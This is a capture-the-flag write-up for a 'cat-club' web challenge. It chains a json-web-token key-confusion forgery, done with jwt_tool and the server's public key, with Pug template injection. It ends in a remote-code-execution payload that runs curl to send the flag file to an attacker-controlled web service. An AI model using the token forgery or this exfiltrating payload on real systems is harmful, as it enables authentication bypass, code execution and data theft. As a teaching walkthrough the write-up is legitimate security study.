Recon#

Here we have source code and URL. After some investigation, we can find that there is only a login/register endpoint here. which may helpful in our next move. We register with a random account hacker123 and login in. Now, we see four very cute cats and a title with our registered username, and since the username is displayed directly as it, we can guess that there may be injection-related vulnerabilities. And second interesting thing is that the request carries a JWT cookie.

Exploit#

We already have above findings in hand and now do a targeted search of the source code. Since this is a JavaScript project, we get package.json to see its dependencies:

{
    "name": "cat-club",
    "version": "4.2.0",
    "main": "app/app.js",
    "scripts": {
        "start": "node app/app.js"
    },
    "dependencies": {
        "bcryptjs": "^2.4.3",
        "cookie-parser": "^1.4.6",
        "dotenv": "^16.4.5",
        "pug": "^3.0.3",
        "express": "^4.21.0",
        "express-session": "^1.18.0",
        "json-web-token": "~3.0.0",
        "pg": "^8.12.0",
        "sequelize": "^6.37.3"
    },
    "devDependencies": {
        "nodemon": "^3.1.4"
    },
    "engines": {
        "node": ""
    },
    "license": "MIT",
    "keywords": [],
    "author": "",
    "description": ""
}

Notice that highlighted line, which is dependency library of JWT handled in JavaScript, search it in npmjs: And there’s nothing strange about the usage. However, we quickly discovered a high-risk vulnerability on the security page. We can learn more detail about this vulnerability in PortSwigger Academy. After we have familiarized ourselves with how this vulnerability works, then exploit it.

we need public key (in first request we can get original alg_type is RS256).

Fortunately, the program has an endpoint that provides a public key.

router.get("/jwks.json", async (req, res) => {
    try {
        const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
        const publicKeyObj = crypto.createPublicKey(publicKey);
        const publicKeyDetails = publicKeyObj.export({ format: "jwk" });

        const jwk = {
            kty: "RSA",
            n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
            e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
            alg: "RS256",
            use: "sig",
        };

        res.json({ keys: [jwk] });
    } catch (err) {
        res.status(500).json({ message: "Error generating JWK" });
    }
});
❯ curl https://catclub-0.ctf.intigriti.io/jwks.json | jq .
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   410  100   410    0     0    221      0  0:00:01  0:00:01 --:--:--   221
{
  "keys": [
    {
      "kty": "RSA",
      "n": "w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw",
      "e": "AQAB",
      "alg": "RS256",
      "use": "sig"
    }
  ]
}

And we can transfer JWK to PEM format key with CyberChef. (cause we need the same format of public key with server.)

Further, in the endpoint that return the Cats Gallery after user has successfully login. we can see that the username is also injected into the server-side template in advance in JWT.

router.get("/cats", getCurrentUser, (req, res) => {
    if (!req.user) {
        return res.redirect("/login?error=Please log in to view the cat gallery");
    }

    const templatePath = path.join(__dirname, "views", "cats.pug");

    fs.readFile(templatePath, "utf8", (err, template) => {
        if (err) {
            return res.render("cats");
        }

        if (typeof req.user != "undefined") {
            template = template.replace(/guest/g, req.user);
        }

        const html = pug.render(template, {
            filename: templatePath,
            user: req.user,
        });

        res.send(html);
    });
});

hacktricks have collected awesome lists for SSTI

Solution#

  1. exploit json-web-token algorithm confusion to bypass login in JWT verifying.
  2. use SSTI to RCE.
❯ python3 jwt_tool.py --exploit k -pk ~/Downloads/pubkey -I -pc username -pv "#{7*7}" $JWT

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.7                \______|             @ticarpi

Original JWT:

File loaded: /home/ada/Downloads/pubkey
jwttool_697a82c0d94b5cd145edc825ef911a2d - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IiN7Nyo3fSJ9.lsLiuUrEkr81Z73IyAJmF7gTJfp9WwqErjPlr9e9UvI

use this new JWT and reload the page, we see:

Now, change to real RCE payload:

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad(\"child_process\").exec('curl <web service>/?flag=$(cat /flag* | base64)')}()}

which can use ngrok for proxy our web services.

Conclusions#

  1. When we discovered some reflected information about the user input, may be there are injection-related vulnerabilities.
  2. We can try JWT-related attack if the endpoint need that.